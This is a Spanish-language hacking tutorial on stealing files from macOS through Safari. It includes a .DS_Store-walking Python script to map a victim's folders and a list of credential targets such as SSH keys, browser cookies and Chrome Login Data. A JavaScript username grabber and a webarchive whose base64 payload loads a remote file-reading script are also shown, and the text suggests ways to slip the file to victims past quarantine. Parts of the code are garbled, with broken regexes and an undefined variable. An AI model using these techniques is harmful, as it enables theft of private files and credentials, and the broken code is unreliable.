Cómo robar archivos de macOS facilmente. Hackear Apple Mac

Imagine esta situación: Al abrir un documento HTML pasa algo extraño y al cabo de un tiempo todos los archivos de su disco duro terminan en las manos de un hacker. ¿Cree que esto es imposible? Tal vez quiera pensarlo otra vez.

Existe la posibilidad de que los actores de amenazas puedan abusar de algunas características en los navegadores modernos a través de un complejo ataque descrito a continuación:

  • El usuario abre una página HTML en un navegador
  • El navegador lee la lista de archivos disponibles en la computadora del usuario.
  • El navegador lee archivos “sensibles” y los carga en el servidor remoto del atacante. Al mismo tiempo, todo el proceso permanece invisible para el usuario

Dividamos el ataque condicionalmente en dos etapas:

  • Obtener información sobre los archivos en una computadora remota
  • Leer los archivos y enviarlos al servidor del atacante

En la primera etapa, de alguna manera debemos encontrar la lista de archivos que nos interesan en la computadora del usuario. El problema es que no hay una forma clara de hacerlo. Ningún navegador le permitirá leer el directorio local ~ / y la lista de archivos en su escritorio desde una página HTML. Buscar al azar tampoco es una opción. Aunque conocemos varias rutas ~/.ssh/id_rsa importantes, en la mayoría de los casos esto resultará poco útil.

En la segunda etapa, al tener un conjunto completo de rutas de alguna manera debemos ir más allá de los límites del entorno de sandbox del navegador, leer los archivos locales y subirlos a nuestro servidor.

Recuerde que esta información es solo para fines académicos. IICS no se hace responsable del mal uso de este tutorial.

Extraer listas de archivos

MacOS tiene un toque divertido. Si abre un directorio con archivos, el sistema operativo creará un archivo oculto especial: .DS_Store. Esta carpeta de archivos almacena la configuración de vista en macOS, incluye información sobre la ubicación de la ventana de la carpeta, el tamaño de la ventana, las opciones de vista que se seleccionaron (iconos, lista o tabla) y la apariencia de los iconos en la ventana. En otras palabras, el sistema operativo almacena en caché la información del archivo para mostrar rápidamente el directorio.

En la imagen podemos apreciar .DS_Store (como un archivo oculto Thumbs.db en Windows), pero a diferencia de Windows, también contiene los nombres de archivos y directorios. Basta con ir al directorio con los archivos y el sistema operativo creará inmediatamente .DS_Store.

¿Qué hay de interesante aquí? El hecho de que .DS_Store puede analizar y obtener los nombres de todos los archivos del directorio. El módulo DSStore para Python del mismo nombre es adecuado para esto. Aquí hay un código de muestra para implementar la lectura .DS_Store:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
            filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass

Guarde este código en un archivo parse_ds_store.py y ejecútelo. En este caso, el resultado se parece a esto:

$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Podemos ver los nombres de archivos y carpetas en el directorio de inicio. Una vez reconocidos, puede consultar cada directorio y buscar allí .DS_Store y así obtener la jerarquía de archivos y carpetas sin tener acceso a la lista de directorios.

Por ejemplo, analizamos la carpeta de inicio (~ / .DS_Store), obtenemos el siguiente contenido:

["Backups", "Soft", "Pictures", ".ssh" ...]

Pasamos a ~ / Backups / .DS_Store, obtenemos:

["2017", "2016", "2015", ...]

En la siguiente iteración ~ / Backups / 2017 / .DS_Store:

["source", "sql", "static", ...]

Y así consecutivamente. Los especialistas en ciberseguridad recomiendan recordar un par de cosas:

  • Necesita saber el nombre de usuario en el sistema
  • El archivo .DS_Store se crea solo donde el usuario lo visita

Predicción de rutas para archivos sensibles

¿Qué más podemos encontrar en el sistema del usuario? En primer lugar, el directorio .ssh donde se suelen descargar las claves privadas.Primero debemos recordar estas rutas:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_rsa.key
  • ~/.ssh/id_rsa.pub
  • ~/.ssh/known_hosts
  • ~/.ssh/authorized_keys

Por otra parte, .bash_history reside en el historial de los comandos ingresados en la terminal.

Recolectar cookies y otros datos

A continuación los especialistas en ciberseguridad le mostrarán el proceso de recolección de cookies. Antes que nada, tenga en cuenta que macOS tiene formas predecibles de almacenar datos de cuentas en un directorio.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/com.apple.Safari.cookies

También habrá cookies de Twitter, Skype y otras aplicaciones.

Tomemos también los datos HSTS gracias a los sitios web visitados que devolvieron el encabezado HSTS.

~/Library/Cookies/HSTS.plist

También llevaremos información sobre las cuentas del sistema.

~/Library/Accounts/Accounts4.sqlite

Bueno, Safari no es el único. Por lo general, varios archivos y configuraciones de software instalado se encuentran en la ruta.

~/Library/Application Support/

Tomaremos solo los archivos de Chrome:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

También puede hurgar para descubrir dónde se almacenan archivos interesantes de algunos clientes FTP/SQL o el historial de mensajes en cualquier servicio de mensajería instantánea.

Obtener rutas completas a los archivos de usuario

Ya hemos descubierto qué podemos llevarnos. Ahora intentemos recopilar estos archivos usando Safari. En Chrome, por ejemplo, no podrá leer archivos locales sobre la marcha con JavaScript. Para que esto funcione, Chrome primero debe iniciarse con un argumento especial (–disable-web-security). Safari también advierte que file:// no puede funcionar con él.

Sin embargo, si HTML no se descargó de Internet, Safari es más leal a este tipo de solicitud: enviando una solicitud a un archivo local usando XHR, recibiremos su contenido:

Gracias a esta función, conociendo la ruta completa al archivo, podemos descargar su contenido y enviarlo a un servidor remoto. Pero aquí está la parte menos agradable: ¿cómo obtener la ruta completa si no conocemos el nombre de usuario? No hay ningún inicio de sesión de usuario, como podrá notarlo.

Para averiguar el nombre de usuario, verificamos los dos archivos de registro que aparecen tan pronto como instala y configura el sistema operativo. Estos son los archivos /var/log/system.log y /var/log/install.log. No estará en uno, lo más probable es que esté en otro. Cargamos estos archivos en el navegador y usamos una expresión regular para obtener el nombre de usuario.

Aquí hay una función JS para extraer el nombre de usuario de los archivos de registro:

function getUser() {
    var xhr = new XMLHttpRequest();
    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    }
}

Enviar archivos al servidor

Y ahora combinamos la primera parte del artículo y la capacidad de leer archivos. Para la prueba de concepto, hacemos el lado del servidor, tomamos la ruta y el contenido del usuario. Si es .DS_Store, le damos más rutas de análisis.

Puede intentar hacer listas blancas y negras, por ejemplo, para no descargar películas pesadas o, por el contrario, descargar solo archivos .docx.

¿Pero qué pasa si hay otros navegadores instalados en el sistema? El código HTML se abrirá con Chrome o Firefox y no pasa nada. Afortunadamente, hay un par de extensiones que solo abre Safari. Estos son XHTM y webarchive. Si todo está claro con XHTM, esta es una página web basada en XML (y puede ejecutar JS en ella), entonces con webarchive es un poco más complicado. Tiene dos formatos, uno de los cuales se puede elaborar a mano fácilmente:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>WebMainResource</key>
    <dict>
        <key>WebResourceData</key>
        <data>
            PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
            vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
            wvYm9keT48L2h0bWw+
        </data>
        <key>WebResourceFrameName</key>
        <string></string>
        <key>WebResourceMIMEType</key>
        <string>text/html</string>
        <key>WebResourceTextEncodingName</key>
        <string>UTF-8</string>
        <key>WebResourceURL</key>
        <string>file:///</string>
    </dict>
</dict>
</plist>

En el que los datos son una página en Base64 con 59 caracteres por línea.

Posibilidades de evadir las restricciones

De forma predeterminada, para los archivos transferidos a través de la red, existe un límite en la ejecución de dicho código.

This image has an empty alt attribute; its file name is safari04.jpg

Esto significa que si envía el archivo por correo, es posible que no funcione.

La buena noticia es que no todos los programas marcan la casilla al descargar un archivo. (la versión macOS de Telegram no hace esto, por ejemplo). En varias pruebas, pudimos leer los archivos del usuario con un archivo XHTM “malicioso” transferido a través de la versión de escritorio de Telegram para macOS, y sin protección de archivo ni contraseña.

This image has an empty alt attribute; its file name is safari05-1024x488.jpg

Probablemente también pueda encontrar otros ejemplos. Y, por supuesto, el archivo terminado se puede deslizar a la víctima en un medio físico durante la prueba socio-técnica. Actualmente no hay defensa contra este ataque, por lo que solo queda recomendarle a los usuarios que sean lo más precavidos que puedan al descargar material de Internet (además se recomienda no usar el navegador Safari). Debido a las características de este ataque, Apple no considera que esta sea una vulnerabilidad, por lo que es probable que no se lancen parches.